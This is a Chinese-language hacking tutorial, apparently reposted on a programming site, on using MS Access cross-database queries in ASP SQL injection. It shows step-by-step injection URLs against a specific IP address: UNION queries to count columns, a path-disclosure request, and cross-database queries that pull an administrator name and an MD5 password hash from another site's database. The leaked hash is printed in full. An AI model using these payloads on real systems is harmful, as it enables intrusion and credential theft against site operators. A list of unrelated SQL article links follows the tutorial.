Access的跨库查询

2023-11-04 04:38
文章标签 查询 access 跨库

本文主要是介绍Access的跨库查询,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本文发于黑防12期和下面的一篇,没拿到钱,不要发出去了啊!!!
Access的跨库查询
文/superhei 04-7-28
大家还记得mssql的跨库查询吧,其实在access中也可以实现2个数据之间的交叉查询。下面我就给大家介绍下access的跨库查询。
首先让我们看看在access里是怎样实现对mdb文件进行查询的,我们随便创建个空数据库,对数据库D:/daos/db/daidalos.mdb里的admin表的内容进行查询:SQL语句为 SELECT * from admin in "D:/daos/db/daidalos.mdb"

查询后,成功返回目标数据库里表admin表里的内容:

在实际的asp注射中,要同时进行2个select,如果大家熟悉php+mysql注射的话,应该很容易想到使用union进行联合查询,在access里我们照样可以使用,使用union查询还有一个好处就是不要去对数据进行一个一个字符的去猜,而可以象mysql+php注射一样直接暴出字段里的数据(具体的mix已经写了一篇详细的文章)。从上面可以看出来要实现跨库查询必修要下面2个条件:
1.      使用union查询必须知道前一个select里表的字段数
2.      必须知道目标3.      数据库的所在位置,4.      绝对路径。
条件1我们可以根据提示错误信息来手工猜解,也可以通过程序自动实现。
条件2 这个是个难点,不过我们可以通过利用“access暴库”来实现,有人会说既然可以知道数据位置,那不直接下载得拉,其实不然,现在的数据库一般防止下载,有的根本不web目录下。

在黑防第四轮实验室的第一关,就是设置的2个asp+access的下载系统,一个是雨点下载系统,一个是盗帅下载系统。 经过测试 盗帅下载系统可以暴出数据库但是不让下载,似乎也没什么地方可以注射,而雨点下载系统就是漏洞百出了,数据库可以暴且可以直接下载,还可以注射。不过雨点的后台很简单,没什么可以利用的地方,我们的目标就放在得到盗帅后台密码上了,下面我就给大家演示下,通过雨点系统的注射点对盗帅系统的跨库查询而得到盗帅的后台密码:

我们得知雨点系统的list.asp可以注射,我们先去要得到union里的数据表字段数,提交:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201%20from%20userinfo>
返回:
Microsoft JET Database Engine 错误 '80040e14'
在联合查询中所选定的两个数据表或查询中的列数不匹配。
/yddown/list.asp,行?
字段不对,我写了个perl脚本自动猜,(代码见后)

当我们提交:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%201,2,3%20from%20userinfo>
无错误返回,


哈哈! 我们已经得到字段数了,并且我们可以得到在字段1的我位置,可以显示我们查询的数据。
现在还就差盗帅的数据库位置了,简单我们暴库,提交:
< http://219.237.81.46/dsdown%5cregs.asp>
成功返回路径:
Microsoft JET Database Engine 错误 '80004005'
'D:/111/db/kljdsld.asa'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/dsdown/db/user.asp,行
(注意:这样得到的的路径不一定是“完整”的,真正的路径为:D:/111/dsdown/db/kljdsld.asa)

下面我们跨库,构造url如下:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20admin,3,2%20from%20admin%20in%20"D:/111/dsdown/db/kljdsld.asa"%20where%20id=1>

上面的语句是,union查询数据D:/111/db/kljdsld.asa里表admin里id=1的字段admin的数据,如果成功将直接暴出后台管理的用户名:

得到用户名为admin 我们接着暴密码:
< http://219.237.81.46/yddown/list.asp?id=75%20union%20select%20pws,3,2%20from%20admin%20in%20"D:/111/dsdown/db/kljdsld.asa"%20where%20id=1>
如图:

得到密码为32位的md5加密的hash;77e6cbb3f9468eadb655ae6826357922
我们跨库查询成功,这里我只是为大家演示下跨库查询,黑防那里就不管咯 : )。


小结:
  本文主要是给大家介绍了2个非常有用的方法,第1 我们在asp注射时不一顶要一个个字符去猜,那样遇到中文的很麻烦,直接用union替代数据可以直接暴出数据,不关是中文还是特殊字符,都可以一步到位,第2 就是跨库了,使用很灵活,可以让你在渗透时,有意想不到的收获。

这篇关于Access的跨库查询的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/343284

相关文章

Mybatis 传参与排序模糊查询功能实现

《Mybatis传参与排序模糊查询功能实现》:本文主要介绍Mybatis传参与排序模糊查询功能实现,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友跟随小编一起看看吧... 目录一、#{ }和${ }传参的区别二、排序三、like查询四、数据库连接池五、mysql 开发企业规范一、#{ }和${ }传参的

浅谈mysql的sql_mode可能会限制你的查询

《浅谈mysql的sql_mode可能会限制你的查询》本文主要介绍了浅谈mysql的sql_mode可能会限制你的查询,这个问题主要说明的是,我们写的sql查询语句违背了聚合函数groupby的规则... 目录场景:问题描述原因分析:解决方案:第一种:修改后,只有当前生效,若是mysql服务重启,就会失效;

MySQL多列IN查询的实现

《MySQL多列IN查询的实现》多列IN查询是一种强大的筛选工具,它允许通过多字段组合快速过滤数据,本文主要介绍了MySQL多列IN查询的实现,具有一定的参考价值,感兴趣的可以了解一下... 目录一、基础语法:多列 IN 的两种写法1. 直接值列表2. 子查询二、对比传统 OR 的写法三、性能分析与优化1.

mybatis-plus 实现查询表名动态修改的示例代码

《mybatis-plus实现查询表名动态修改的示例代码》通过MyBatis-Plus实现表名的动态替换,根据配置或入参选择不同的表,本文主要介绍了mybatis-plus实现查询表名动态修改的示... 目录实现数据库初始化依赖包配置读取类设置 myBATis-plus 插件测试通过 mybatis-plu

MySQL中实现多表查询的操作方法(配sql+实操图+案例巩固 通俗易懂版)

《MySQL中实现多表查询的操作方法(配sql+实操图+案例巩固通俗易懂版)》本文主要讲解了MySQL中的多表查询,包括子查询、笛卡尔积、自连接、多表查询的实现方法以及多列子查询等,通过实际例子和操... 目录复合查询1. 回顾查询基本操作group by 分组having1. 显示部门号为10的部门名,员

mysql关联查询速度慢的问题及解决

《mysql关联查询速度慢的问题及解决》:本文主要介绍mysql关联查询速度慢的问题及解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql关联查询速度慢1. 记录原因1.1 在一次线上的服务中1.2 最终发现2. 解决方案3. 具体操作总结mysql

mysql线上查询之前要性能调优的技巧及示例

《mysql线上查询之前要性能调优的技巧及示例》文章介绍了查询优化的几种方法,包括使用索引、避免不必要的列和行、有效的JOIN策略、子查询和派生表的优化、查询提示和优化器提示等,这些方法可以帮助提高数... 目录避免不必要的列和行使用有效的JOIN策略使用子查询和派生表时要小心使用查询提示和优化器提示其他常

SQL 中多表查询的常见连接方式详解

《SQL中多表查询的常见连接方式详解》本文介绍SQL中多表查询的常见连接方式,包括内连接(INNERJOIN)、左连接(LEFTJOIN)、右连接(RIGHTJOIN)、全外连接(FULLOUTER... 目录一、连接类型图表(ASCII 形式)二、前置代码(创建示例表)三、连接方式代码示例1. 内连接(I

轻松上手MYSQL之JSON函数实现高效数据查询与操作

《轻松上手MYSQL之JSON函数实现高效数据查询与操作》:本文主要介绍轻松上手MYSQL之JSON函数实现高效数据查询与操作的相关资料,MySQL提供了多个JSON函数,用于处理和查询JSON数... 目录一、jsON_EXTRACT 提取指定数据二、JSON_UNQUOTE 取消双引号三、JSON_KE

查询SQL Server数据库服务器IP地址的多种有效方法

《查询SQLServer数据库服务器IP地址的多种有效方法》作为数据库管理员或开发人员,了解如何查询SQLServer数据库服务器的IP地址是一项重要技能,本文将介绍几种简单而有效的方法,帮助你轻松... 目录使用T-SQL查询方法1:使用系统函数方法2:使用系统视图使用SQL Server Configu